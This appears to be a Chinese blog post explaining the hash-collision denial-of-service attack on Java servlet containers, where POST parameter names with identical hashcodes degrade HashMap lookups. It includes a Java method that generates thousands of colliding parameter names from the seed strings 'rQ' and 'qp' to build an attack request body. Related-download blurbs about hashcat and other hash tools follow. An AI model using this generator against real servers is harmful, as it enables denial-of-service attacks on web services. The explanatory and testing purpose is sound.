其原理很简单:利用hashcode的实现机制,构造大量会产生相同hashcode的key,导致hashmap的定位时间由O(1)降为0(n)(也就是使hash表退化成链表)。由于servlet规范里的处理post请求一般都采用hashmap存储request 的key和value对,当处理成千上万的会产生相同hashcode的请求参数名时,就造成hashmap的定位性能急剧下降,导致cpu繁忙,达到拒绝服务攻击的目的。
而由于java采用DJBX33A算法产生hash值,因此很容易构造大量具有相同hashcode的值。这里探讨一下如何构造这个值。常见的有“相等字串法”和“中间相遇法”,以下援引一段别人的文字来说明这个“相等字串法”:
由于DJBX33A系列哈希算法满足一个很有意思的特性:如果hash(“string1”) = hash(“string2”),那么在相同位置包含此2个子串的父串哈希结果将会产生碰撞,既:hash(“prefix_string1_postfix”) = hash(“prefix_string2_postfix”)。根据这一特性,攻击者如果能找到最简单的两个碰撞字符串,那么就可以很快通过反复组合,生成2的n次方个长度为2n的碰撞字符串。
这个看起来实现不难哈,只要找一对可以有相同hashcode的字串,通过一定的排列组合算法就行了。假定我们要求的key的长度为10,那么就可以生产2的10次方,也就是1024个key符合我们的要求(具有相同的hashcode,但有不同的值)。这个算法怎么写呢,其实也就是算出两个字符能组合成多少个不同的N位长度的字符。比如有两个字母a 和 b,要组合成2位数,那么共有以下几种排列:ab、aa、bb、ba。是不是有点像“找出n元素的全部子集"的算法。写这个算法有些麻烦,我想了一阵,来个取巧的吧:
我们把数字转化成2进制,这样二进制的0,1就代表我们的两个字母,我们只要用我们字母替换0,1就可以了。比如要组合成4位数,那么就有16种组合,就是将从0到15之间15之间的全部数字都换成二进制,也就是0000-1111之间的所有二进制。我们把这些二进制数字里的0和1分别用a和b替换,就是我们要的结果哈。
根据以上方法,用java很容易就可以写个生成碰撞字串的方法,而且速度也很快,生成15次方的字串的用的时间也是秒这一数量级,可以满足测试的要求:(偶找了rQ和qp这两个可以产生相同hashcode的字串作为种子)
public static final String S0 = "rQ";
public static final String S1 = "qp";
private static String mkHashParams(int size, String mockVal) {
Long maxVal = (long) Math.pow(2, size);
System.out.println("size=" + maxVal + ",int val=" + maxVal.intValue());
StringBuilder sb = new StringBuilder();
String it = null;
String bInt = null;
String changedBInt = null;
for (int i = 0; i < maxVal; i++) {
it = null;
bInt = Long.toBinaryString(i);
changedBInt = bInt.replace("0", S0);
changedBInt = changedBInt.replace("1", S1);
it = changedBInt;
int tmpLength = bInt.length();
if (tmpLength < size) {
long appendLength = size - tmpLength;
it = mkAppendedStr(appendLength, it);
}
if (i > 0) {
sb.append("&");
}
sb.append(it);
sb.append("=");
sb.append(mockVal);
// System.out.println("it="+it+",hash ="+it.hashCode());
}
String str = sb.toString();
write(str, "c:/d", "hash_params.txt");
return str;
}
分享到:
相关推荐
这是清华大学王老师报告PPT,介绍了密码HASH函数上研究的最新成果
MurmurHash算法由Austin Appleby创建于2008年,现已应用到Hadoop、libstdc 、nginx、libmemcached,Redis,Memcached,Cassandra,HBase,Lucene等开源系统。2011年Appleby被Google雇佣,随后Google推出其变种的...
hashcat密钥碰撞,无需安装,CMD下执行即可。CMD下执行即可。
哈希碰撞工具Hash.7z
一种基于混沌的带密钥hash函数的碰撞问题及分析 指出了一种基于混沌射影构造带密钥单向hash函数算法的碰撞问题
生日攻击的目的是寻求一个基于sm3哈希值的弱碰撞,原理是一定长度和hash值结果2^32长度,在2^16密文空间中可以以50%以上的概率找到一个hash碰撞。 这里我使用了类似查表攻击似的数据结构,一边存表一边查表(可以...
uthash开源的hash函数实现,里面的uthash.h可用
这是MurmurHash算法,由c++改成c#版本。使用它在生500万内生成64位的数字,也是会出现碰撞的。在实际开发转,可能需要将不定长的数符中转生数字,想转生64位唯一数字的话。可以用md5算法生成16位的字节,再用Murmur...
uthash 是C的比较优秀的开源代码,它实现了常见的hash操作函数,例如查找、插入、删除等待。该套开源代码采用宏的方式实现hash函数的相关功能,支持C语言的任意数据结构最为key值,甚至可以采用多个值作为key,无论...
内容描述:用于crypto中hash爆破的强大工具。 优势:相较于其他hash工具,具有更快的算力,使用方便简洁。 适用:适用于md5,sha256等典型hash加密方式,反推出所需的源码。
Geohash编码抗k近邻攻击的脆弱性分析.docx
stm32f407平台上实现的hash算法
摘 要 随着现代密码学的发展,Hash 函数算法越来越占有重要的地位。针对基于耦合映像格子的并行 Hash 函数算法和带密钥的基于动态查找表...在此条件下,找到算法的输出碰撞的代价为 O ( 2100 ) ,远大于生日攻击的代价
RS-Hash Function Value: " + ghl.RSHash(key)); System.out.println(" 2. JS-Hash Function Value: " + ghl.JSHash(key)); System.out.println(" 3. PJW-Hash Function Value: " + ghl.PJWHash(key)); System....
Hashcat is the self-proclaimed world's fastest password recovery tool. It had a proprietary code base until 2015, but is now released as free software. Versions are available for Linux, OS X, and ...
碰撞检测和处理.pdf 微软专家讲解,感觉不错
hashcat is the world’s fastest and most advanced password recovery tool. This version combines the previous CPU-based hashcat (now called hashcat-legacy) and GPU-based oclHashcat. Hashcat is ...
3维hashin失效准则~复合材料层合板
217种hashcat-V3.0所支持的哈希 举例,如md4、md5、sha1、sha256,部分特殊哈希的例子有官网说明的链接。
Hash在线解密平台最新版php实现纯txt存储哈希跟明文对应表查询